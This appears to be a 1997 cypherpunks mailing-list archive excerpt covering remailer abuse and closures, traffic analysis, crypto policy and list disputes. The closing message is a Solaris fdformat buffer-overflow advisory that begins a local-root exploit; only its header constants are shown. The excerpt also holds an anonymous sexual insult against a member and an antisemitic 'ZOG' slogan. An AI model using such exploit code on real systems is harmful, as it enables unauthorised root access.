> Which brings out a whole new issue though: is there a way besides
> the Anonymizer to view a page anonymously?

I think there are ways to read web pages via email.  Using a nymserver
and one of these services would be a pretty secure way to read web
pages.  Not very interactive, though.

Adam

-- 
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 23 Mar 1997 08:50:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Gilmore is sabotaging the lists again
In-Reply-To: <9703221538.AA23607@uu.psi.com>
Message-ID: <s7X14D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


I cc:'d this to cypherpunks@cyberpass.com; one week later is bounced

]Subject: Returned mail: Cannot send message for 1 week
]
]   ----- Transcript of session follows -----
]While talking to www.cyberpass.com:
]>>> MAIL From:<dlv@bwalk.dm.com>
]<<< 451 queuename: Cannot create "qfIAA10925" in "/usr/spool/mqueue" (euid=35): Disc quota exceeded
]
]   ----- Unsent message follows -----
]To: kszczypi@tele.pw.edu.pl (Krzysztof Szczypiorski)
]Cc: cypherpunks@cyberpass.com
]Subject: The mysterious disappearance of 1400 subscribers and gateways
]From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
]Comments: All power to the ZOG!
]Message-Id: <152L4D39w165w@bwalk.dm.com>
]Date: Sat, 15 Mar 97 09:01:23 EST
]In-Reply-To: <199703151216.NAA01640@titan.tele.pw.edu.pl>
]Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y.
]
][cc:'d to c-punks who were wondering what happened to the 1400 lurkers ]
]
]kszczypi@tele.pw.edu.pl (Krzysztof Szczypiorski) writes:
]
]> Hi, I remember that you ara one of the most active people on cypherpunks
]> list. I've got the simple question: what the current status of cypherpunks
]> list is? Is the list moderated? The last posting that I've received is dated
]> on Feb 20... It was a couple of weeks ago.... :((
]
]Cypherpunks is currently an unmoderated distributed list. You can send the
]command 'subscribe cypherpunks' to one of several sites:
] majordomo@algebra.com
] majordomo@ssz.com
] majordomo@cyberpass.com
]
]You can send submissions to cypherpunks@ any of these sites.
]
]If someone (Dale?) has saved the output from several 'who's over the last
]few months, it might be a good idea to e-mail them once and to tell them
]this. Apparently the new subscription instructions never made it to those
]who remained only on the moderated list.
]
]Wseho Nalepshego.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 23 Mar 1997 08:16:54 -0800 (PST)
To: "Timothy C. May" <cypherpunks@toad.com
Subject: Re: A cypherpunk push-poll ? (Was Re: Dorothy and the four Horseman)
In-Reply-To: <v03020920af59dd3df26e@[139.167.130.246]>
Message-ID: <v03020901af5af7b23329@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:07 am -0500 on 3/23/97, Timothy C. May wrote:

> I'd bet that generating such a counter-poll would be a waste of time. The
> Denning poll has already been distributed by the Infowar crowd; it is
> unlikely in the extreme that Schwartau and his crowd would have any
> interest in minimizing the dangers.
>
> Sort of like trying to counter Pat Robertson's "poll" on "The 700 Club"
> with a counter-poll...what's the point?
>
> Besides, crypto _will_ be used for "crimes." This is, after all, our intent.

As always, Tim is right.

I actually didn't see this as something "we" should actually "do". I saw
this more as a humorous exercise for list's entertainment.

For instance, here's an example of a question that Dorothy and Winn
*should* have asked:

"In your extensive use of the internet in your professional capacity as the
CIO of a Fortune 50 corporation, have you encountered the use of
cryptography in acts of genocide?

Ecologic holocaust?

Thermonuclear terrorism?

The use of asteroid impact to destroy all life on earth as we know it?"


Or, as an example of some questions for the Official Cypherpunks
Cryptography Push-Poll:

"Have you ever seen or heard of a government which used deliberately
weakened cryptography in it's own operations?"

"Do you believe that a government which knows *everything* about you can be
trusted with that information?"

"Do you believe that the U.S. Constitution was written to control the
behavior of government, or that of private citizens? Why do you think this
is the case?"


;-)

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 23 Mar 1997 09:11:26 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Gilmore is sabotaging the lists again
In-Reply-To: <s7X14D2w165w@bwalk.dm.com>
Message-ID: <199703231703.LAA18225@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dzien Dobry, pan Dimitri.

Dr.Dimitri Vulis KOTM wrote:
> 
> I cc:'d this to cypherpunks@cyberpass.com; one week later is bounced
> 

The right domain name is cyberpass.net, not cyberpass.com.

whois cyberpass.com

[rs.internic.net]
Westport Trade & Barter Company, Inc. (CYBERPASS-DOM)
   539 27th Street
   San Francisco, CA 94131
   USA

   Domain Name: CYBERPASS.COM

   Administrative Contact:
      Medeiros, Raymond P  (RM1442)  ray@NEWGATE.NET
      (415) 206-1701 (FAX) (415) 206-0919
   Technical Contact, Zone Contact:
      Secure Network Systems Hostmaster  (SNS3-ORG)  hostmaster@SECURE.NET
      tel.: 801-224-9346  fax.: 801-224-6009


   Record last updated on 14-Dec-96.
   Record created on 09-Mar-95.

   Domain servers in listed order:

   NS1.SECURE.NET		192.41.1.10
   NS2.SECURE.NET		192.41.2.10


The InterNIC Registration Services Host contains ONLY Internet Information
(Networks, ASN's, Domains, and POC's).
Please use the whois server at nic.ddn.mil for MILNET Information.

whois cyberpass.net

[rs.internic.net]
infonex (CYBERPASS2-DOM)
   5145 Manhasset Dr. #131
   San Diego, CA 92115

   Domain Name: CYBERPASS.NET

   Administrative Contact, Technical Contact, Zone Contact:
      Cottrell, Lance  (LC113)  loki@OBSCURA.COM
      (619) 667-7969 (FAX) (619) 667-7966

   Record last updated on 21-Oct-96.
   Record created on 19-Sep-95.

   Domain servers in listed order:

   NS1.INFONEX.NET		206.170.114.2
   NS2.INFONEX.NET		206.170.114.3
   CASS151.UCSD.EDU		132.239.146.151
   NS1.PBI.NET			206.13.28.11
   NS.C2.ORG			208.139.36.36


The InterNIC Registration Services Host contains ONLY Internet Information
(Networks, ASN's, Domains, and POC's).
Please use the whois server at nic.ddn.mil for MILNET Information.

Do widzennia.

igor

> ]Subject: Returned mail: Cannot send message for 1 week
> ]
> ]   ----- Transcript of session follows -----
> ]While talking to www.cyberpass.com:
> ]>>> MAIL From:<dlv@bwalk.dm.com>
> ]<<< 451 queuename: Cannot create "qfIAA10925" in "/usr/spool/mqueue" (euid=35): Disc quota exceeded
> ]
> ]   ----- Unsent message follows -----
> ]To: kszczypi@tele.pw.edu.pl (Krzysztof Szczypiorski)
> ]Cc: cypherpunks@cyberpass.com
> ]Subject: The mysterious disappearance of 1400 subscribers and gateways
> ]From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
> ]Comments: All power to the ZOG!
> ]Message-Id: <152L4D39w165w@bwalk.dm.com>
> ]Date: Sat, 15 Mar 97 09:01:23 EST
> ]In-Reply-To: <199703151216.NAA01640@titan.tele.pw.edu.pl>
> ]Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y.
> ]
> ][cc:'d to c-punks who were wondering what happened to the 1400 lurkers ]
> ]
> ]kszczypi@tele.pw.edu.pl (Krzysztof Szczypiorski) writes:
> ]
> ]> Hi, I remember that you ara one of the most active people on cypherpunks
> ]> list. I've got the simple question: what the current status of cypherpunks
> ]> list is? Is the list moderated? The last posting that I've received is dated
> ]> on Feb 20... It was a couple of weeks ago.... :((
> ]
> ]Cypherpunks is currently an unmoderated distributed list. You can send the
> ]command 'subscribe cypherpunks' to one of several sites:
> ] majordomo@algebra.com
> ] majordomo@ssz.com
> ] majordomo@cyberpass.com
> ]
> ]You can send submissions to cypherpunks@ any of these sites.
> ]
> ]If someone (Dale?) has saved the output from several 'who's over the last
> ]few months, it might be a good idea to e-mail them once and to tell them
> ]this. Apparently the new subscription instructions never made it to those
> ]who remained only on the moderated list.
> ]
> ]Wseho Nalepshego.
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Sun, 23 Mar 1997 08:09:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Interesting Job Offer
Message-ID: <Pine.GSO.3.95.970323110835.21845A-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain


>From *Nuclear News*, 3/97:

YOUR OFFICE IS THE WORLD

You are interested in the constant changes on the world stage and
you want to become a part of it.  Your workplace becomes this
dynamic world arena when you choose a career as an overseas
Operations Officer with the Central Intelligence Agency.

PUT YOUR TECHNICAL EXPERTISE TO GOOD USE

Right now, we are seeking highly motivated men and women with
degrees in scientific and technical fields.  To qualify, you must
combine proven personal integrity and trustworthiness with
qualifications in:

+ Electrical/Electronic Engineering
+ Computer Science
+ Physics
+ Nuclear Engineering
+ Mathematics

We are particularly interested in individuals with undergraduate
or postgraduate degrees in these disciplines who also have work
experience in telecommunications, satellite communications,
programming, networking, Internet communications or technology-
related R&D efforts.

A UNIQUE CAREER THAT IS NOT FOR EVERYONE

If it's right for you, you'll know it. And you'll know you can't
find it anywhere else.  You must have a strong interest in
international trends and events, in how advanced technologies
impact areas such as international terrorism, narcotics
trafficking, weapons development, world ecology and political
stability.  Apply your technological expertise to support U.S.
security and make a positive difference in our world.

COMBINE ACADEMIC EXCELLENCE WITH STREET SMARTS

It takes more to qualify for this unusual career track than just
technical expertise.  You will be working in multicultural
environments with foreign nationals, so you must be comfortable
and "at home" anywhere in the world.  Excellent written and
verbal communication skills and foreign language proficiency are
essential tools of your trade.  Previous overseas residence or
extensive foreign travel are definite assets.

U.S. citizenship or legal resident status is required.  All
applicants must successfully complete a thorough medical and
psychiatric exam, a polygraph interview and an extensive
background investigation.  The CIA encourages applications from
men and women of every racial and ethnic background from all
parts of the country.

To apply, send your resume, along with a cover letter describing
your interest in working overseas as a CIA Operations Officer. 
We will respond within 30 days if your application is evaluated
as being of interest.

Central Intelligence Agency
Thomas Benning
Dept. YOW-NN397
P.O. Box 12708
Rosslyn Station
Arlington, VA 22209

The CIA is an equal opportunity employer

CAREERS FOR A CHANGING WORLD

Circle Reader Service No. 57






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: (Alec)camcc@abraxis.com
Date: Sun, 23 Mar 1997 08:49:42 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: FWD: [PGP-USERS] Private Idaho banned
Message-ID: <3.0.1.32.19970323114951.007b7530@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>Resent-From: pgp-users-request@rivertown.net
>X-Sender: joelm@mail.eskimo.com
>Date: Sun, 23 Mar 1997 06:57:45 -0800
>To: pgp-users@rivertown.net
>From: Joel McNamara <joelm@eskimo.com>
>Reply-To: pgp-users@rivertown.net
>Subject: [PGP-USERS] Private Idaho banned
>
>Just got some interesting correspondence from someone in the United Arab
>Emirates.
>
>It appears the government is blocking access to my Private Idaho
>distribution Web page.  Apparently the UAE only allows ISP customers to
>access the Net through a proxy server, similar to Singapore.  They're
>blocking out the typical nasty porn sites, Cindy Crawford fan clubs, etc.
>
>Well, obviously someone over there finds Private Idaho subversive enough to
>block.
>
>Tsk, tsk, tsk.
>
>I'd appreciate any other accounts of countries that are blocking
>http://www.eskimo.com/~joelm/pi.html or http://www.eskimo.com/~joelm.
>Wonder if the UK will be next?
>
>Joel
>

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMzVfKCKJGkNBIH7lAQE0ywQAr6SGyK+CUhzTPHSVmWAHlpKortgAUGl7
YWNQ+M9JplKfZhpJhH7KY4xtkmqoPlSZIRYGdobHlvTcPruzv0WmuMA/neXHuhJx
LJQYiNxiN+cqobhrlCjce6h73HKBdi2qPgRQsLshnmbRJ/ddydThauWMp1qTruhv
HiOlmlth0U0=
=GXJy
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 23 Mar 1997 12:06:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: [IMPORTANT] Cyclic codes
Message-ID: <199703232006.MAA02034@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C. Mayo studied yoga back-streching 
exercises for five years so he could blow 
himself (nobody else will).

     ))))
    ))  OO  Tim C. Mayo
    6   (_)
    `____c





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 23 Mar 1997 14:09:15 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [IMPORTANT] Cyclic codes
In-Reply-To: <199703232006.MAA02034@mailmasher.com>
Message-ID: <Pine.A41.3.95.970323150538.54778A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 23 Mar 1997, Huge Cajones Remailer wrote:

Vulis what is the point of this.

> Tim C. Mayo studied yoga back-streching 
> exercises for five years so he could blow 
> himself (nobody else will).
> 
>      ))))
>     ))  OO  Tim C. Mayo
>     6   (_)
>     `____c
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 23 Mar 1997 15:43:13 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: A cypherpunk push-poll ? (Was Re: Dorothy and the four  Horseman)
In-Reply-To: <v03007816af5acc86787a@[207.167.93.63]>
Message-ID: <3.0.1.32.19970323154127.005d3770@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:32 AM 3/23/97 -0500, Robert Hettinga wrote:
>For instance, here's an example of a question that Dorothy and Winn
>*should* have asked:
>
>"In your extensive use of the internet in your professional capacity as the
>CIO of a Fortune 50 corporation, have you encountered the use of
>cryptography in acts of genocide?
>
>Ecologic holocaust?
>
>Thermonuclear terrorism?
>
>The use of asteroid impact to destroy all life on earth as we know it?"

Well, in my extensive use of computers back when I was a tool of the
military-industrial complex, I did encounter the use of computer security 
techniques in planning for thermonuclear terrorism; it's difficult to find
a better term for pointing tens of thousands of warheads at your enemies,
while they have tens of thousands of them pointed at you, and both of you are
plotting about what you think the other guys will do so you can do it to
them first, or so you can do something else to them to block it.
Ecological holocaust?  Nuclear winter was disbelieved, though I did know a 
meteorologist whose doctoral thesis advisor was working on germ warfare 
dispersal modelling, and The Customer didn't think in terms of genocide, 
just "nuking them till they glow" and "making the rubble bounce" and
"pre-emptive strikes".

Me?  I just kept the computers running while the physicists tried to model
what this sort of behaviour would do to the Phone Company, and how to
let the military get useful phone services pre-, trans-, and post-attack,
though once in a while I'd help them with some data structures..

On the other hand, while we did have occasional lectures on astronomy
from our Research folks, we were pretty well-behaved with asteroids.

But today we know that Eurasia and Oceania have always been friends,
and haven't figured out yet that Oceania and Eastasia have always 
been enemies, so the only nuclear terrorists we have to worry about are 
the ones who'll do sneaky things like hiding their bombs in bales of cocaine 
so nobody'll notice when they drive them across the border and up to the 
White House loading dock, and the Constitution explicitly doesn't say
that it's illegal to wiretap foreigners, so we're pretty safe for now.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 23 Mar 1997 15:53:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Dr. Roberts" and his advice to the list
Message-ID: <199703232353.PAA01058@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain



Timothy C. May wrote:
> At 10:25 AM -0800 3/23/97, "Dr. Roberts" wrote:

> >The remailer network itself may be treated as a black box.  This means
> >that if you suspect certain people are posting messages to a certain
> >list you need only watch the timing of the suspect's posts to verify
> >guesses.  This makes an attack on the remailer network quite
> >inexpensive because you need to monitor a relatively small number of
> >people in your jurisdiction.

> If a mix accumulates, say, 100 messages, and posts one of them to some
> destination, no amount of "timing" analysis points to which of the 100
> incoming messages was the  source...this is the essence of mixes/remailers.
> (Modulo the usual assumptions about message size, encryption, etc.)

  I wouldn't be so certain about this.
  Consider the fact that the remailers can be initially studied through
relatively _pure_ analysis, for starters. i.e. - a series of slow
periods of remailer use where and entity can ensure that almost all
of those 100 messages belong to them.
  Thus the remailer can be studied for non-random patterns that may be
unknown even to the operator himself.

  Then consider the fact that many of the people using remailers have
habits and patterns that can easily be studied and followed. 
  i.e. - Time periods online, standard delay time used in posting
commands, frequency and volume of their posts. 
  You must also consider context and syntax analysis that point to the 
true author of anonymous posts, and the fact that, once known, their
personal systems can be monitored to reveal the exact time and nature
of their input into the remailers.
  Even knowledge of killfiles can eliminate some of the overhead for
traffic analysis, eliminating some sources as being responsible for
volume of anonymous email directed at certain subjects or authors.

  Many of the factors involved in traffic analysis can be obtained
outside of the realm of actual input and output of the remailers
themselves, thus narrowing the range of _unknown_ factors in that
analysis.
  Certainly there has been much thought and consideration given to
the remailer system, by people who allow for various methods of attack
on and/or analysis of their system. However, the assumption of 100
_random_ messages can drop pretty fast when one takes into account
the number of factors that may turn some of these messages into 
quantifiable and easily analyzed entities. Add to this the possibility
of factors that are known to the attackers, but not to the defenders,
and the margin of security drops even further.

  Care must be taken to realize that even if one is making efforts to
conceal their email traffic, that the results of their efforts are
also affected by the person who always posts between 4 and 6 pm, who
always posts via the same remailer and who always uses a 2 hour delay 
command in his posts.
  One needs to remember, as well, that with the capabilities of autobots
and switching mechanisms, that to flood a system or systems at certain
critical times is an insignificant obstacle to inputing a large quantity
of _know_ data into the frame of analysis.
 
> >  Would anybody like to post some references?  What
> >is required to have a rock solid remailer network?
> >
> >Dr. Roberts
> 
> Why not do the research into these references yourself and then post them?

  This is an asinine statement.
  If you are interested in furthering the interests of privacy through 
encryption and remailers, why don't you aide someone asking for pointers
to better information?
  Is this list reserved for those who already know it all?
  Can you say "statist?" Sure, you can.

> As for what it would take to make a rock solid remailer network, go back
> and read some of the many hundreds of articles many of us have written on
> this subject, read Chaum's original 1981 CACM short article, and carefully
> study DC-Nets.

  If all information was in those articles, then I suspect that the
remailers would already be "rock solid."
  Rather than living in the past, as if all possibilities had already
been discussed and decided, it might better serve some list members to
take their hard-earned knowledge and apply it to today's situation,
with new technologies, methodologies, routings, etc.
  Not only have these things changed, but the types and number of
people who use them have also changed, thus changing the scope of
possible approaches to traffic analysis.

TruthMonger


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 23 Mar 1997 16:02:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [PGP-USERS] *** THE HAYSTACK REMAILER IS GONE ***
Message-ID: <199703240002.QAA01518@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


> >Subject: [PGP-USERS] *** THE HAYSTACK REMAILER IS GONE ***

> >They are
> >dropping like flies, unfortunately.
> > use of the remailer to spam people who have
> > already turned off access to their accounts from other sources,

> > The final
> > straw was the use of the remailer to send out several
> > hundred "MAKE MONEY FAST"-style messages to a group of
> > folks who then rebelled or retaliated to the remailer itself;

  Several months ago, someone (Toto, I believe) posted a thoughtful
message suggesting that the burgeoning Internet would result in a
huge influx of carpetbaggers of one sort or another, and that the
established entities, such as lists and remailers, had best be making
plans to deal with the changing frontier or suffer the consequences.
  Another person, whose name escapes me, as she rarely posts, replied
that she thought the post would prove prophetic, much more so than
people believed.

  I mention this mostly to point out that it has been only a short time
since this prediction was made, and it is already coming to fruitation
in more than a few areas.
  Survival is going to mean adjustment to the fast changing conditions
of the growing Internet. Social and political issues are going to impact
developments as much or more than technology, and any entity which 
cannot adapt in these areas will die off, like the dinosaurs.

  While I sympathize with the remailer operators for having to deal with
spamming problems, spammers and assholes did not suddenly appear out of
nowhere in the recent past.
  The quickening pace of changes in the future will no longer allow
system operators and administrators to wait until problems become
unmanageable before they make plans to deal with them.

  In addition to pure anonymous remailers, perhaps there is a need for
variations, as well, which encompass varying forms of subscription or
authentication. Perhaps limiting the number of posts from an address,
raising that limit according to gained reputation capital.
  As far as anonymity being maintained, is it possible for the system
files which log identity/address to be encrypted with a password that
is not known to any human, but only to the system? i.e. - even with a
court order, there is no way for the operator to provide the info.
  Lessening the legal hassles could spread the use of remailers, with
many being resistant to abuse. Those to whom the anonymity is very
important would not have any problem finding the remaining pure 
remailers. Most of the quick-buck crowd would probably not make the 
effort to find them, having assumed, from the spam resistant remailers,
that they are not a valid option for them.

  If cypherpunks are serious about making remailers available to the 
public then we will need to make them both useable and functional for
those who might be open to running them.
  This cannot be done by making them only useful for 'pure' use. If 
someone were to design a remailer that would only let whites use it,
there would be a great hue and cry, but there would also be more 
remailers available, shortly thereafter. Then someone would design one 
that could only be used for minorities, etc.

  If you really want to spread the use of remailers, design them so that
you can make a pile of money off of them, in a good way. Then get rich
while you further their development and use.
  

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sergey Goldgaber <sergey@el.net>
Date: Sun, 23 Mar 1997 13:12:05 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Remailer problem solution?
In-Reply-To: <3.0.1.32.19970322204155.007231a8@mail.io.com>
Message-ID: <Pine.LNX.3.95.970323155218.144B-100000@void.el.net>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 22 Mar 1997, Greg Broiles wrote:

-> At 01:56 PM 3/22/97 -0800, nobody@hidden.net wrote:
-> 
-> >Why would not one of these solutions work?
-> >
-> >1. Accept and send PGP encrypted messages only.
-> 
-> This "works" in that it reduces the number of people subjected to messages
-> they don't want to see, but it also makes it more difficult (or impossible)
-> to use remailers for tasks like:
-> 
-> sending info to crypto-illiterate reporters/politicians/whatever
-> ("whistleblowing")
-> sending messages to newsgroups and mailing lists which don't have a shared
-> private key

This is only a practical problem related to PGP's lack of popularity.
The proposed solution will work in the long run, assuming PGP achieves
great popularity.  Thus, education of the public concerning PGP and remailers
will help make this solution more effective.

Of course, interim short term solutions should be sought as well.

-> >2. Keep a list of addresses of people who do not wish to receive mail
-> >from the remailers.
-> 
-> This is done already, but the group of people who don't want to recieve mail
-> from remailers but haven't signed up yet (because they don't know about
-> remailers) is orders of magnitude bigger than people who've signed up. Mostly
-> people get on the block list(s) because they've already been mailed things
-> they didn't want to see; by the time they learn about blocking, it's too
-> late.

Information explaining blocking could be sent with each piece of mail from
a remailer.  Alternatively, to conserve bandwidth, a pointer to a web-page
could be attached.

-> Also, it's difficult to apply this solution to many remailers - should all
-> remailers block an address because one remailer operator claims to have
-> received a request? Or should each operator act alone, which means that one
-> anonymity-hostile end user must send multiple block requests?

A web page could be dedicated to propagating multiple block requests, in
the manner of those extant sites which propogate new web-page information 
to search engines.  This could also be made easy, intuitive, and mostly 
transparent to the end user.


 ............................................................................
 . Sergey Goldgaber <sergey@el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Sun, 23 Mar 1997 13:27:28 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: [PGP-USERS] *** THE HAYSTACK REMAILER IS GONE ***
Message-ID: <3.0.1.32.19970323162740.007c32a0@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


>Date: Sun, 23 Mar 1997 15:09:25 -0500 (EST)
>From: "Fred B. Ringel" <fredr@joshua.rivertown.net>
>Reply-To: fredr@joshua.rivertown.net
>To: pgp-users list <pgp-users@rivertown.net>
>Subject: [PGP-USERS] *** THE HAYSTACK REMAILER IS GONE ***
>
>Hi all-
>
>	Here's another one from this week (in addition to jpunix). They are
>dropping like flies, unfortunately.
>
>	Boy, this really, really stinks.
>
>	Fred
>==========================================================================
>
>   *** IMPORTANT NEWS REGARDING HAYSTACK@HOLY.COW.NET ***
>
> The Bovine Remailer, also known as haystack@holy.cow.net, is
> hereby CLOSED. Mail sent to that address will bounce; I don't
> know on a technical basis what putting it in the middle of a
> remailer chain will do. There are no other remailers or anon
> services associated with cow.net.
>
> It has been a fun year, but the simple fact is that running
> a remailer is a thankless, embittering, nasty job. For every
> success story of alternate or persecuted viewpoints seeing
> the light of day, there are another four or five cases of
> legal threats, use of the remailer to spam people who have
> already turned off access to their accounts from other sources,
> and the extremely disturbing trend of posting newsgroups
> with falsified From: Headers, intending to cause endless spam
> bots to mail the forged address. No one carefully put in a
> forged address to endanger or misrepresent another person, 
> but it was only a matter of time.
>
> Haystack was running on a Sun 3/280 at the cow.net loft. At
> the peak, this machine was recieving over one thousand 
> e-mails a day, doing PGP calculations, and sending them out,
> and the 30mhz processor wasn't up to the task. The final
> straw was the use of the remailer to send out several 
> hundred "MAKE MONEY FAST"-style messages to a group of 
> folks who then rebelled or retaliated to the remailer itself;
> everyone associated in this sucks. 
>
> If you think this is a shame, then put up your own remailer;
> no doubt you'll have a thicker skin that the admins of
> haystack, and will somehow flourish under the increasingly
> fascist and overbearing environment of the Internet, but
> the games up here, for now.
>
> Yes, for now. We might return some time in the future,
> should technical and financial issues be solved, but it seems
> rather unlikely at this juncture.
>
> Once again, if you enjoyed using haystack, you might consider
> fighting the good fight and putting up your own. A good,
> solid increase in remailers might save the culture. It is
> nearly a crime that so much perfectly powerful computer
> hardware exists out there, hooked to the net, and a mere
> dozen computers, in our case quite aged, were/are doing the
> remailing work.
>
> So, well, like we said, it's been a blast. See you later.
> Moo.
>
> - The Haystack Administration.
>
>/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
>Fred B. Ringel			--	Rivertown.Net Internet Access
>Systems Administrator		--	http://www.rivertown.net
>and General Fixer Upper		--	Voice/Fax/Support: +1.914.478.2885
>	Although in theory, there's no difference between 
>	theory and practice, in practice, there is.
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 23 Mar 1997 08:21:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Britain to ban free use of crypto?  (fwd)
Message-ID: <199703231605.RAA20665@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


[This message was run through an anonymizer as a spam-blocker.  My .sig
is at the end.]

 "Peter D. Junger" <junger@upaya.multiverse.com> stated:

>After a very quick reading of this proposal I am convinced that all it
>would do if implemented by legislation that follows its recommendations
>would be to forbid those who are in the UK from using an unlicensed
>key escrow services.
>
>It quite clearly does not intend to ban the use of cryptography or the
>publication of cryptographic software.  

FWIW, the speaker from the UK government at CFP '97 described the proposal
in almost exactly these terms.  And tried to make clear that greater bans
were not on the agenda, at least for now. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law | "Cyberspace" is not a place.
U. Miami School of Law     | 
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cristian Schipor <skipo@Math.PUB.Ro>
Date: Sun, 23 Mar 1997 07:58:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Remake: buffer overflow in /bin/fdformat + exploit (Solaris2.X)
Message-ID: <Pine.SUN.3.95.970323175715.2710G-100000@euler.math.pub.ro>
MIME-Version: 1.0
Content-Type: text/plain



motto: " No one would have believed in the last years of the nineteenth
century that this world was being watched keenly and closely by
intelligences greater than man's and yet as mortal as his own; that as men
busied themselves about their various concerns they were scrutinised and
studied, perhaps almost as narrowly as a man with a microscope might scru-
tinise the transient creatures that swarm and multiply in a drop of
water."
			H.G.Wells - "The War of the Worlds"


Sun Mar 23 16:56:15 EET 1997 Romania

"Remake for bufer-overflow in find_media() now in /bin/fdformat"

The buffer overflow bug I posted to you in Mar 13 1997 is present in
/bin/fdformat too (which has in may solaris 2.4 and 2.5.1 distributions
the suid-exec bit on and it is owned by root). By exploiting fdformat with
suid-exec bit on, anyone can gain a root (or who is the owner of fdformat)
shell. So, to prevent an fdformat exploit, remove the suid-exec bit from
/bin/fdformat. 

Cristian Schipor - Computer Science Faculty - Bucharest - Romania
Email: skipo@math.pub.ro, skipo@sundy.cs.pub.ro, skipo@ns.ima.ro
Phone: 401-410.60.88

See http://www.math.pub.ro/security

My exploits (with argv[1] you can change the STACK_OFFSET, +- x, x=8*k
k=1,2,3,...): 

--------------------------- lion24.c ---------------------------------
/*
Solaris 2.4
*/

   #include <stdio.h>
   #include <stdlib.h>
   #include <sys/types.h>
   #include <unistd.h>
   
   #define BUF_LENGTH 264
   #define EXTRA 36
   #define STACK_OFFSET -56
   #define SPARC_NOP 0xa61cc013
   
